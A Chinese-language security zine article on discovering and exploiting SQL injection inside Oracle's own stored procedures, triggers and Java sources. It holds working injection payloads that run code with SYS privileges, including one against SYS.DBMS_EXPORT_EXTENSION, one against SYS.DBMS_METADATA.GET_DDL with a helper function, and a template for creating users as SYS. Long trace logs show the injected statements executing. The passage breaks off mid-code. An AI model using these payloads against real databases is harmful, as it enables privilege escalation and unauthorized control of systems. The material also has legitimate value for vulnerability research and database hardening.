==Ph4nt0m Security Team==

Issue 0x02, Phile #0x06 of 0x0A

```
|=-----------------------------------------------------------------------=|
|=--------------------=[  深入挖掘ORACLE内部SQLINJECTION  ]=----------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------=[        By kj021320       ]=--------------------=|
|=---------------------=[    <kj021320_at_126.com>   ]=---------------------=|
|=-----------------------------------------------------------------------=|
```

一、前言

好久没写PAPER了，日久之疏懒成性。我觉得在国内的ORACLE攻防技术研究得比较少，比较欠缺。或许是我孤陋寡闻。在国外许许多多的PAPER已经成为了ORACLE攻击技术的经典。那么接下来的就是跟大家讨论一下关于ORACLE内部SQL注射技术。相信大家都看过我写的《ART OF WEB-SQL-INJECTION第2卷 ORACLE篇 》07年的初的时候，本文已经写好《检测函数注入in ORACLE》。可惜在偶的一次数据丢失中，许多PAPER进了坟墓。如今标题换了为《深入挖掘ORACLE内部SQLINJECTION》，为什么？其实ORACLE的内部SQL注射不单单出自于函数 存储过程，如果你是这样想的话，那就太狭隘了，其实还有好多的地方还是会出现SQL注射的。例如他的TRIGGER，SQLJ，JOB等等…希望本文可以让你在ORACLE攻防中受益，接下来就轮到大家拍砖了。

二、正文

在WEB上面SQLINJECTION已经成为当今所谓的“日”站主流。这里就不废话，那到数据库层面到底什么样的存储过程/函数会出现SQLINJECTION呢？首先看一个例子：

Example1:

```
CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
BEGIN
execute immediate 'begin insert into KJTESTTABLE values('''|| injcode ||''');end;';
END;
```

看以上的存储过程，把参数写入一个表中，在一般开发经常有这样的情况出现。

那么看下面的调用，如下会把字符串1写入表 KJTESTTABLE里面。

```
declare
begin
       KJTEST('1');
end;
```

那么现在可以对injcode进行POC一下

```
declare
begin
       KJTEST('1'');dbms_output.put_line(''hello');
end;
```

执行这样的方法可以看到在控制台输出hello的字样。

OK，这个攻击的EXP就非常好写了！

```
declare
begin
       KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello');
end;
```

那么，这样的存储过程中出现SQL注射，一般用户写的存储过程有这样的漏洞，倒还好。只能“日本人”。但是如果出现在SYS SYSTEM这类的系统管理员用户的储存过程中，问题就大了。现在再看看ORA中，方法调用权限的模型。

如下，一个普通权限的用户KJ调用sys.dbms_metadata.get_ddl可以获取某个系统对象的DDL源代码，那么当这个函数被调用的时候，因为该函数拥有者是SYS 所以调用者被赋予sys同等角色的权限。开始操作查询系统对象，然后把结果反还给KJ，再次转换为KJ自己的权限 看下面的指示：

用户--->调用函数(转换为函数拥有者的权限)--->执行操作--->获取结果--->(转换为自己权限) --->结束

看明白上面的我们就可以继续了，如果在SYS用户的对象中有SQL注射出现，那么我们就以SYS用户身份做事包括添加用户等。那么在上面的EXP-CODE中，我们完全可以以SYS用户身份执行execute immediate 'create user kj identified by kj'，OK上面的第一个例子我们讨论到这里。

并不是所有的ORA内部SQL注射都可以这样使用的！在上述这个例子里面已经可以算是非常少见的了。而且极好利用！再看下面一个例子

```
Example2:

CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
tbn  varchar2(1000);
BEGIN
       execute immediate 'select table_name from user_tables where table_name='''|| injcode
||''''
           into tbn;
       dbms_output.put_line(tbn);
END;
```

那么我们正常调用的时候则采用此方式：

```
declare
begin
       KJTEST('KJTESTTABLE');
end;
```

查看用户系统表中名字为KJTESTTABLE的记录。

OK，现在留意存储过程中使用动态执行SQL语句，因为目标运行的是单个SQL语句，那么我们不能像例子1那样使用多语句进行攻击，但是我们可以控制当前语句执行的流程。有个方法，就是我们放入一个建立EXP的函数。让这个SQL执行调用。看以下利用：

```
CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
  RESULT INTEGER;
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE VALUES(021320)';
  COMMIT;
  RETURN(RESULT);
END KJHACKEREXP;

declare
begin
  KJTEST('KJTESTTABLE''||KJHACKEREXP()||''');
end;
```

OK，这样就是在ORACLE里面产生的SQLINJECTION，前戏完毕！现在进入挖掘部分。

挖掘分为2部分：黑盒与白盒方式。

首先介绍简单的是白盒方式，ORACLE中每个对象的SOURCE都会保存在数据库内的。那么我们可以采用一个存储过程来获取SYS.DBMS_METADATA.GET_DDL，类似一下语句：

```
SELECT  SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP')
FROM DUAL
```

可以获取该对象的Data Declare Source，当然你也可以自己查询：

```
SELECT * from all_source
```

但是是否这么简单呢？当然不会了，在ORACLE中，也提供了对存储过程函数等加密的手段，类似SQLSERVER的存储过程加密。所以当你查看ctxsys.CTX_DDL的时候会发现以下东西出现：

```
create or replace package body ctxsys.CTX_DDL wrapped
```

对，就是ORACLE中wrap加密编码了，那么就只能黑盒测试了，测试的时候如何去获取当时ORACLE执行的操作呢？可以通过以下的方法：

1. ORACLE 网络或者服务器的 traces 文件 。
2. 分析ORACLE的重做日志 。
3. 采用数据库触发器(TRIGGER)监控操作 。
4. 查询ORACLE SQL缓存池 (SGA)

等等，如果你有能力反编译ORACLE存储过程当然最好不过了。

下面先介绍采用最简单的查询SGA，拿回来这个比较经典的EXP执行一下：

```
SELECT
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT
(:P1);SYS.DBMS_OUTPUT.PUT_LINE(''KJ021320'');END;--','SYS',0,'1',0)
FROM DUAL
```

然后执行以下查看SGA

```
SELECT A.ADDRESS ADDRESS,S.HASH_VALUE HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT SQL_TEXT,U.USERNAME
PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES
S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND
A.HASH_VALUE=S.HASH_VALUE AND A.PARSING_USER_ID=U.USER_ID AND
A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X' FROM V$SQLTEXT_WITH_NEWLINES
X WHERE X.ADDRESS=A.ADDRESS AND X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE
'%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3
```

得到如下结果：

```
ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID
PARSING_SCHEMA_ID
668C9120 1612804047 0 BEGIN
"SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ0 SYS SYS
668C9120 1612804047 1 21320');END;--".ODCIIndexUtilCleanup(:p1); END;
SYS SYS

BEGIN
"SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ021320');END;
--".ODCIIndexUtilCleanup(:p1); END;
```

因为它内部是一个多语句的注射点，所以我们可以采用Example1的攻击方式。

接下来我们继续讨论使用ORACLE TRACE的方式来进行记录，有几种方法可以得到一个SQL语句执行时后台的trace文件，一个是用SQL_TRACE，一个是用DBMS_SUPPORT包或者DBMS_SYSTEM包，还有一种就是直接使用10046 event。具体方式如下：

```
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';
YOUR SQL STATEMENT...
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';
```

其中的level有1，4，8，12几个选项，其中1相当于设置SQL_TRACE=TRUE之后的结果，4包括

1的结果和绑定变量的实际值，8包括1的结果和等待事件的情况，12则同时包含1的结果，绑定变量的实际值和等待事件情况，所以可以说level 12是最为详细的trace了。

OK，基础说完。我现在拿过去的一个漏洞出来测试：

http://www.milw0rm.com/exploits/3363

这里的SYS.DBMS_METADATA.GET_DDL出现SQL注入漏洞，那么看我在PLSQL上面怎么重现他的注入点内部前戏：

```
CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
  RESULT INTEGER;
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)';
  COMMIT;
  RETURN(RESULT);
END KJHACKEREXP;
```

以下为重点语句：

```
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';

SELECT SYS.DBMS_METADATA.GET_DDL(''||KJ021320.KJHACKEREXP()||'','') FROM DUAL;

ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';
```

执行之后发现异常，忽略掉就可以。OK，我找到oracle\admin\{SID}\udump 目录下面有一大堆trc文件，找找看以下是捕捉到的记录，很多很乱贴出来看不习惯的请见谅：

```
=====================
PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61 tim=5821472460 hv=3907016812
ad='666488bc'
SELECT SYS.DBMS_METADATA.GET_DDL(''||KJ021320.KJHACKEREXP()||'','') FROM DUAL
这里是我们开始的
END OF STMT
PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5821472453
BINDS #1:
EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821473044
WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 712 p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61 tim=5821474773 hv=3714800427
ad='665afb10'
SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
END OF STMT
PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821474767
BINDS #4:
EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821475306
FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5821475420
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
=====================
PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0 tim=5821479726 hv=2617299981
ad='665793f0'
SELECT properties, version, xmltag, udt, schema, viewname, flags, decode(bitand(flags,1), 0,
0, 1), decode(bitand(flags,2), 0, 0, 1), decode(bitand(flags,4), 0, 0, 1), decode(bitand
(flags,8), 0, 0, 1), decode(bitand(flags,16), 0, 0, 1), decode(bitand(flags,32), 0, 0, 1), decode
(bitand(flags,64), 0, 0, 1), decode(bitand(flags,128), 0, 0, 1), decode(bitand(flags,256), 0, 0,
1), decode(bitand(flags,512), 0, 0, 1), decode(bitand(flags,1024), 0, 0, 1), decode(bitand
(flags,2048), 0, 0, 1), decode(bitand(flags,4096), 0, 0, 1), decode(bitand(flags,8192), 0, 0,
1), decode(bitand(flags,16384), 0, 0, 1), decode(bitand(flags,32768), 0, 0, 1) FROM
sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||'' AND model='ORACLE' AND version<=902000000
第一个注入点！
END OF STMT
```

```
    PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821479719
    BINDS #4:
    =====================
    PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821480756 hv=1324055951
ad='6684058c'
    INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
    END OF STMT
    PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,tim=5821480750
    BINDS #5:
    EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,tim=5821481459
    XCTEND rlbk=0, rd_only=0
    =====================
    PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0 tim=5821485357 hv=3615375148
ad='6683f908'
    COMMIT
    END OF STMT
    EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821485350
    EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,tim=5821485780
    FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821485932
    STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS BY INDEX ROWID METAVIEW$ '
    STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
    =====================
    PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0 tim=5821489243 hv=1567650580
ad='665750fc'
    SELECT COUNT(*) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||''
    第2个注入点
    END OF STMT
    PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821489235
    BINDS #4:
    =====================
    PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821489578 hv=1324055951
ad='6684058c'
    INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
    END OF STMT
    PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,tim=5821489574
    BINDS #5:
    EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,tim=5821489747
    XCTEND rlbk=0, rd_only=0
    EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821489880
    EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,tim=5821489928
    FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,tim=5821489962
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE '
    STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
    FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=4,tim=5821491101
    WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0
    WAIT #1: nam='SQL*Net break/reset to client' ela= 74 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net break/reset to client' ela= 204 p1=1413697536 p2=0 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 3958 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61 tim=5821500658 hv=3517412409
ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821500653
    BINDS #4:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5821500860
    WAIT #4: nam='SQL*Net message from client' ela= 2708856 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61 tim=5824210045 hv=678177122
ad='669adadc'
```

```
    begin
      sys.dbms_output.get_line(line => :line, status => :status);
    end;
    END OF STMT
    PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5824210040
    BINDS #4:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
       bfp=04a8fb80 bln=22 avl=00 flg=05
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5824210269
    WAIT #4: nam='SQL*Net message from client' ela= 6717782 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61 tim=5830928325 hv=2888538493
ad='669abe84'
    select 'x' from dual
    END OF STMT
    PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928320
    BINDS #4:
    EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928419
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message from client' ela= 406 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5830928945
    WAIT #4: nam='SQL*Net message from client' ela= 515 p1=1413697536 p2=1 p3=0
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61 tim=5830929706 hv=2628502993
ad='669c5924'
    begin
      if :enable = 0 then
        sys.dbms_output.disable;
      else
        sys.dbms_output.enable(:size);
      end if;
    end;
    END OF STMT
    PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830929702
    BINDS #4:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
       bfp=04a8fb68 bln=22 avl=02 flg=05
       value=1
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
       bfp=04a8fb80 bln=22 avl=02 flg=01
       value=10000
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830930021
    WAIT #4: nam='SQL*Net message from client' ela= 38283 p1=1413697536 p2=1 p3=0
    STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830968630 hv=3517412409
ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830968625
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830968820
    WAIT #1: nam='SQL*Net message from client' ela= 456 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830969751 hv=1998264515
```

```
ad='6683df78'
    SELECT * FROM KJTESTTABLE
    END OF STMT
    PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5830969746
    BINDS #1:
    EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830969837
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 453 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,tim=5830970423
    WAIT #1: nam='SQL*Net message from client' ela= 3199 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830973736 hv=1998264515
ad='6683df78'
    SELECT * FROM KJTESTTABLE
    END OF STMT
    PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830973731
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message from client' ela= 20741 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0 tim=5830994714 hv=189272129
ad='66f9f01c'
    select o.owner#,o.name,o.namespace,o.remoteowner,o.linkname,o.subname,o.dataobj#,o.flags
from obj$ o where o.obj#=:1
    END OF STMT
    PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994709
    BINDS #5:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08 oacfl2=1 size=24 offset=0
       bfp=04bfa444 bln=22 avl=04 flg=05
       value=30183
    EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994889
    FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5830994941
    STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE ACCESS FULL KJTESTTABLE '
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830995126 hv=3517412409
ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830995122
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 4 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830995299
    WAIT #1: nam='SQL*Net message from client' ela= 16489 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61 tim=5831012027 hv=678177122
ad='669adadc'
    begin
      sys.dbms_output.get_line(line => :line, status => :status);
    end;
    END OF STMT
    PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5831012022
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
       bfp=04a8fb80 bln=22 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5831012236
    WAIT #1: nam='SQL*Net message from client' ela= 2431209 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61 tim=5833443769 hv=2888538493
ad='669abe84'
```

```
    select 'x' from dual
    END OF STMT
    PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443764
    BINDS #1:
    EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443861
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 412 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5833444394
    WAIT #1: nam='SQL*Net message from client' ela= 526 p1=1413697536 p2=1 p3=0
    STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61 tim=5833445119 hv=2628502993
ad='669c5924'
    begin
      if :enable = 0 then
        sys.dbms_output.disable;
      else
        sys.dbms_output.enable(:size);
      end if;
    end;
    END OF STMT
    PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833445116
    BINDS #1:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
       bfp=04a8fb68 bln=22 avl=02 flg=05
       value=1
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
       bfp=04a8fb80 bln=22 avl=02 flg=01
       value=10000
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833445350
    WAIT #1: nam='SQL*Net message from client' ela= 44290 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5833489927 hv=3517412409
ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833489922
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833490119
    WAIT #1: nam='SQL*Net message from client' ela= 680 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61 tim=5833510806 hv=1342917134
ad='66548fe8'
    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'
    我们的结束语句
    END OF STMT
    PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5833510799
    BINDS #1:
    EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833510934
```

OK,陪偶看了这么多垃圾，辛苦大家了。以上的SQL注入就是类似我们的Example2，所以不可以多语句，只能注入一个EXP函数进行攻击。

那么其次trigger就是监控对系统表的增删改操作，然后其分析。还有Redo日志分析我这里就不再多说了，大家可以去看看有关ORACLE DBA的资料。

三、尾声

本文介绍了关于ORACLE内部注射的漏洞检查和挖掘，但是以上例子都说了好多关于存储

过程或者函数的漏洞，其实并不是这样的。我们下面的一个系统trigger：

```
create or replace trigger MDSYS.sdo_drop_user
after drop on DATABASE
declare
   stmt varchar2(200);
BEGIN
     if dictionary_obj_type = 'USER' THEN
       stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
       EXECUTE IMMEDIATE stmt;
       stmt := 'DELETE FROM SDO_MAPS_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
       EXECUTE IMMEDIATE stmt;
       stmt := 'DELETE FROM SDO_STYLES_TABLE ' ||
       ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
       EXECUTE IMMEDIATE stmt;
       stmt := 'DELETE FROM SDO_THEMES_TABLE ' ||
       ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
       EXECUTE IMMEDIATE stmt;
       stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' ||
       ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
       EXECUTE IMMEDIATE stmt;
    end if;
end;
```

被删除的对象sys.dictionary_obj_name这里就存在SQL注入攻击了。

那么我们再来简单分析一个SQLJ，请看我标注的地方：

```
create or replace and compile java source named sys./28221493_foreachclass as
/* generated by Jasper  from ForEachClass.jsl */

package oracle.jaccelerator.server;

import oracle.aurora.rdbms.ClassHandle;
import oracle.jaccelerator.server.PackageValidateAll;
import java.lang.String;
import oracle.jaccelerator.server.ClassProcessor;
import oracle.aurora.rdbms.Schema;
import oracle.jaccelerator.server.ForEachClass;
import java.sql.Connection;
import oracle.jaccelerator.server.PackageDisableNcomp;
import oracle.aurora.rdbms.Handle;
import java.lang.Exception;
import oracle.sql.*;
import java.io.*;
import oracle.jaccelerator.server.*;
import oracle.jdbc.driver.*;
import java.sql.*;
import java.lang.*;
import java.util.*;

public class ForEachClass {
    public static String from_plsql (String processorName,
                  String packageNamePattern,
                  String schema) {
        ClassProcessor processor = null;

        try {
            Class clazz = Class.forName("oracle.jaccelerator.server." + processorName);
            processor = ((ClassProcessor)clazz.newInstance()).init(packageNamePattern,
schema);
        } catch (ClassNotFoundException ex) {
```

```
        return "class oracle.jaccelerator.server." + processorName + " not found";
    } catch (Exception ex2) {
        return "can not instantiate class oracle.jaccelerator.server." + processorName;
    }
    int count = ForEachClass.inPackage(packageNamePattern, schema).apply(processor);
    return "processed total: " + count + " classes";
}

public static ForEachClass inPackage (String packageName, String schema) {
    return new ForEachClass(packageName, schema);
}

Connection connection;
int counter = 0;
String packageNamePattern;
String schema;

public ForEachClass (String packageNamePattern, String schema) {
